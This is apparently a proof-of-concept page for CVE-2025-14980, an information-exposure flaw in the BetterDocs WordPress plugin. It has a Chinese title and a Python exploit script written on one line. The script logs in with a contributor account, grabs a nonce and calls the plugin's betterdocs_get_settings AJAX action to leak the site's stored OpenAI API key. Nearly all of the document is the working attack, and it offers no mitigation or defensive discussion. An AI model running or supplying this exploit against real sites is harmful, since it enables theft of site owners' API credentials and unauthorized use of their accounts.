CVE-2025-14980 BetterDocs WordPress插件敏感信息泄露漏洞

import requests import sys from bs4 import BeautifulSoup # CVE-2025-14980 PoC - BetterDocs Plugin Sensitive Information Exposure # Authenticated attackers with contributor-level access can extract OpenAI API keys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" USERNAME = "contributor" # Low-privilege account PASSWORD = "password" def get_nonce(sess, url): """Extract WordPress nonce for authenticated requests""" resp = sess.get(f"{url}/wp-admin/admin.php?page=betterdocs-settings") soup = BeautifulSoup(resp.text, 'html.parser') nonce_elem = soup.find('input', {'id': '_wpnonce'}) if nonce_elem: return nonce_elem.get('value') return None def exploit(): """Exploit the scripts() function to extract sensitive data""" sess = requests.Session() # Step 1: Authenticate with WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } sess.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Get nonce for the request nonce = get_nonce(sess, TARGET_URL) if not nonce: print("[-] Failed to obtain nonce") return # Step 3: Trigger scripts() function to leak settings # This exploits the unprotected endpoint in BetterDocs < 4.3.4 exploit_data = { 'action': 'betterdocs_get_settings', '_wpnonce': nonce } response = sess.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data ) # Step 4: Parse response for sensitive data if response.status_code == 200: data = response.json() if 'openai_api_key' in str(data): print("[+] OpenAI API Key leaked!") print(response.text) else: print("[-] No sensitive data in response") else: print(f"[-] Request failed with status: {response.status_code}") if __name__ == "__main__": print("[*] CVE-2025-14980 BetterDocs Sensitive Info Exposure PoC") exploit()